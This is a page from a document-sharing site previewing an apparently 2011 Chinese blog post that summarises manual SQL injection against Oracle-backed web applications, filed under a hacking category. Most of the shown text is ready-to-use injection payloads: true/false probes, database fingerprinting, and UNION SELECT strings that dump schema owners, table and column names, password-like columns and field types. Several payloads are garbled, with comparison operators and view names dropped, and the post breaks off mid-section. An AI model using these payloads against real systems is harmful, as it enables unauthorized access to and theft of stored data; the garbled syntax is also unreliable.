Oracle 手工注入总结.docVIP

  1. 1、本文档共5页,可阅读全部内容。
  2. 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  5. 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  6. 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  7. 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  8. 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Oracle 手工注入总结

Oracle 手工注入总结 Oracle 手工注入总结 2011-11-17 20:49:08| 分类: 入侵你的~Xin | 标签:oracle注入 |字号 订阅 1.判断是否存在注入点的方法和其他数据库类似,and 1=1 和and 1=2 2.判断数据库为oracle 提交注释字符/*,返回正常即是MySQL,否则继续提交注释符号--,该符号是Oracle和MsSQL支持的注释符,返回正常就需要继续判断。可以继续提交多语句支持符号;如果支持多行查询,说明是MSSQL,因为Oracle不支持多行查询,可以继续提交查询语句: and exist(select * from dual) 或 and (select count(*) from user_tables)0-- 利用的原理是dual表和user_tables表是oracle中的系统表,返回正常就判断为Oracle 3.获取基本信息 (1)获取字段数,同样可以使用oder by N 根据返回页面判断 (2)获取数据库版本,执行下面语句: and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual (4)获取日志文件的绝对路径,同样可以通过这个绝对判断系统类型 and 1=2 union select 1,2,(select instance_name from v,4,5,6 from dual 4.和Mysql=5.0和MsSQL=2005的特性利用 (1)爆数据库名 # 爆出第一个数据库名 and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from dual # 依次爆出所有数据库名,假设第一个库名为first_dbname and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and ownerfirst_dbname),4,5,6 from dual (2)爆出表名 # 爆出第一个表名 and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual 同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。 有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句,如下: and (select column_name from user_tab_columns where column_name like %25pass%25)0 如果成功也可以继续提交 and 1=2 union select 1,2,(select column_name from user_tab_columns where column_name like %25pass%25),4,5,6 from dual 这也是猜解表名的一种方法,不过比上面方法麻烦。 (3)爆字段名 # 爆出表tablename中的第一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name=tablename and rownum=1),4,5,6 from dual # 爆出第一个字段名 and 1=2 union select 1,2,(select column_name from user_tab_columns where table_name=tablename and column_namefirst_col_name and rownum=1),4,5,6 from dual 这样就可以爆出所有的字段名了。 这样就可以和普通的注入一样获取字段内容了,就不多说了。 5.Oracle注入过程的特性 这点主要说明在Oracle注入中和其他数据库注入不大一样的几点说明。 (1)字段类型必须确定 oracle注入中严格要求各个字段的类型必须和定义的一致否则会出错,我们可以通过下面方法确定各个字段的类型。 and 1=2 union select null,null,null,null,null,null from dual 如此依次将下面的每个null用单引号替换,查看返回页面,返回正常说明那个字段为字符型。确定所有字段类型后就可以注入了, 是字符型的就用‘null’,数字型的就直接null (2)

文档评论(0)

jgx3536 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

版权声明书
用户编号:6111134150000003

1亿VIP精品文档

相关文档